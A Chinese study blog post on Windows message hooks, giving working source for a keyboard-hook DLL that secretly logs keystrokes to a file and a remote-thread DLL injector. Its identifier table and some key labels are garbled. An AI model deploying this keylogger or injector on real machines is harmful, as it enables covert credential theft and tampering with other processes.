之前尝试过对函数的hook,这次参考了《逆向工程核心原理》,尝试使用windows的系统函数在系统层面对message进行hook
消息
Windows是以事件驱动来工作的。每当用户执行一个操作,都会让OS把对应的消息发送给相应的应用程序。
每个消息都是一个结构,其中的message是对应的消息类别,32位
1 2 3 4 5 6 7 8 9
| typedef struct tagMsg { HWND hwnd; UINT message; WPARAM wParam; LPARAM lParam; DWORD time; POINT pt; }MSG;
|
标识符:
1 2 3 4 5 6 7 8 9 10 11 12 13
| WM_NULL 0x0001 0x00A0 0x0100 0x0111 0x0132 0x0200 0x0211 0x0220 0x03E0 0x0400 WM_USER 0x8000 WM_APP 0x0400
|
消息分为:
- 窗口消息:对窗口的操作触发窗口消息:创建窗口,移动窗口,单机鼠标
- 命令消息:属于窗口消息,处理从一个窗口发送到另一个窗口的用户请求,比如按下按钮
- 控件通知消息:用于子窗口通知父窗口
每一个程序在执行后,都存在一个消息队列,进程通过第一次调用GDI函数创建一个队列。所有消息都存放在这个队列中,应用程序通过一个消息循环,读取其中的消息并响应。消息队列分为系统消息队列和线程消息队列,系统消息队列由Windows维护,线程消息队列由GUI线程维护。
以鼠标点击举例:
当鼠标点击时,驱动创建对应的消息传送到系统消息队列。当有应用要读取时,系统从系统队列中把对应的消息取出,传给对应的线程消息队列。线程在消息的读取循环中把消息拿出来,通过操作系统发送到对应窗口过程处理。
hook
hook,就是在它们传递过程中插入自己的代码的操作。
现在用键盘钩子举例
重要的函数有以下几个:
1 2 3
| SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
UnhookWindowsHookEx(g_hHook);
|
我们要调用这个api执行钩子操作,可以直接把这个写到exe里面,但是这样就是exe监听其它的,而不是直接把dll放进去,所以把这两个函数写到dll里面并添加dllexport关键字作为导出函数,这样就可以被其它进程访问,我们可以专门写一个exe去执行它
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #ifdef __cplusplus extern "C" { #endif __declspec(dllexport) void HookStart() { g_hHook = SetWindowsHookExA(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
} __declspec(dllexport) void HookStop() { if (g_hHook) { UnhookWindowsHookEx(g_hHook); }
} #ifdef __cplusplus } #endif
|
然后再写钩子的回调函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| void writeToFile(const char* str) { char* user_dir = getenv("USERPROFILE"); if (user_dir != NULL) { char file_path[256]; snprintf(file_path, sizeof(file_path), "%s\\outputkey.txt", user_dir); FILE* fl = fopen(file_path, "a+"); if (fl != NULL) { fwrite(str, sizeof(char), strlen(str), fl); fclose(fl); } } } LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { char ch[15] = { 0 }; if (((DWORD)lParam & 0x80000000) && (HC_ACTION == nCode)) { switch (wParam) { case VK_RETURN: strcpy(ch, "[ENTER]"); break; case VK_BACK: strcpy(ch, "[BCAKSPACE]"); break; case VK_TAB: strcpy(ch, "[TAB]"); break; case VK_MENU: { strcpy(ch, "[ALT]"); break; } case VK_ESCAPE: { strcpy(ch, "[ESC]"); break; } case VK_DELETE: { strcpy(ch, "[DELETE]"); break; } case VK_LEFT: { strcpy(ch, "[LEFT]"); break; } case VK_UP: { strcpy(ch, "[RIGHT]"); break; } case VK_RIGHT: { strcpy(ch, "[RIGHT]"); break; } case VK_DOWN: { strcpy(ch, "[DOWN]"); break; } case VK_LWIN: { strcpy(ch, "[WIN KEY]"); break; } case VK_RWIN: { strcpy(ch, "[WIN KEY]"); break; } case VK_LCONTROL: { strcpy(ch, "[CTRL]"); break; } case VK_RCONTROL: { strcpy(ch, "[CTRL]"); break; } case VK_F1: { strcpy(ch, "[F1]"); break; } case VK_F2: { strcpy(ch, "[F2]"); break; } case VK_F3: { strcpy(ch, "[F3]"); break; } case VK_F4: { strcpy(ch, "[F4]"); break; } case VK_F5: { strcpy(ch, "[F5]"); break; } case VK_F6: { strcpy(ch, "[F6]"); break; } case VK_F7: { strcpy(ch, "[F7]"); break; } case VK_F8: { strcpy(ch, "[F8]"); break; } case VK_F9: { strcpy(ch, "[F9]"); break; } case VK_F10: { strcpy(ch, "[F10]"); break; } case VK_F11: { strcpy(ch, "[F11]"); break; } case VK_F12: { strcpy(ch, "[F12]"); break; } default: BYTE ks[256]; GetKeyboardState(ks); WORD w; UINT scan = 0; ToAscii(wParam, scan, ks, &w, 0); ch[0] = char(w); ch[1] = '\0'; } writeToFile(ch);
} return CallNextHookEx(g_hHook, nCode, wParam, lParam); }
|
这时dllmain就可以什么都不干了,只用找到当前进程句柄就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| BOOL APIENTRY DllMain( HMODULE hinstDLL, DWORD dwReason, LPVOID lParam ) { switch (dwReason) { case DLL_PROCESS_ATTACH: g_hInstance = hinstDLL; break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
|
这样就可以在固定位置生成文件写入按键了,上面的代码参考了github上的一个项目
DLL注入
从外部促使目标进程调用LoadLibrary的API使得执行DLLMain
书上只写了两种方法,之后有机会试一试反射注入,听说效果更好
第一种:
远程线程注入,创建一个远程线程代替原本进程注入进去,
函数
1 2 3 4 5 6 7 8 9 10 11 12 13
| WINBASEAPI _Ret_maybenull_ HANDLE WINAPI CreateRemoteThread( _In_ HANDLE hProcess, _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_opt_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_opt_ LPDWORD lpThreadId );
|
其中第4个参数(如果没有第二个可选参数就是第三个)是线程回调函数地址,当创建好线程后,这个线程就会执行这个函数。其最终的传入参数是CreateRemoteThread的第5个参数,这里它一定是一个指针,所以如果要传入多个参数的话需要一些数据结构,比如数组指针或者结构体指针。
由于传入参数是一个指针,而一个进程只能访问它拥有的内存空间,所以为了把dll成功注入,需要先把参数写到目标进程的内存中
函数
1 2 3 4 5 6 7 8 9 10 11 12
| WINBASEAPI _Ret_maybenull_ _Post_writable_byte_size_(dwSize) LPVOID WINAPI VirtualAllocEx( _In_ HANDLE hProcess, _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect );
|
是用于在目标进程内申请空间并返回对应指针的函数
函数
1 2 3 4 5 6 7 8 9 10 11
| WINBASEAPI _Success_(return != FALSE) BOOL WINAPI WriteProcessMemory( _In_ HANDLE hProcess, _In_ LPVOID lpBaseAddress, _In_reads_bytes_(nSize) LPCVOID lpBuffer, _In_ SIZE_T nSize, _Out_opt_ SIZE_T* lpNumberOfBytesWritten );
|
这个是写入内存的函数,第二个参数是之前申请到的地址,第三个参数是写入的内容。
然后就可以直接用第二个参数当写入内容的指针了
inject函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| int inject(DWORD dwPID, LPCTSTR szDllPath) { HANDLE hProcess = 0, hThread = 0; if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))) { _tprintf(_T("open %d failed\n"), dwPID); return FALSE; } DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR); LPVOID pBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE); if (pBuf == 0) { _tprintf(_T("memory alloc failed\n")); return FALSE; }
WriteProcessMemory(hProcess, pBuf, (LPVOID)szDllPath, dwBufSize, NULL); HMODULE kernel = GetModuleHandle(L"kernel32.dll"); if (kernel == NULL) return FALSE; LPTHREAD_START_ROUTINE pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(kernel, "LoadLibraryW"); hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pBuf, 0, NULL); if (hThread == NULL) { _tprintf(_T("create hThread failed\n")); return FALSE; } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); CloseHandle(hProcess); return TRUE; }
|
在测试中,得知了x86的进程,那么注入器和dll也要是x86的,x64的也一样
还没学DLL卸载QAQ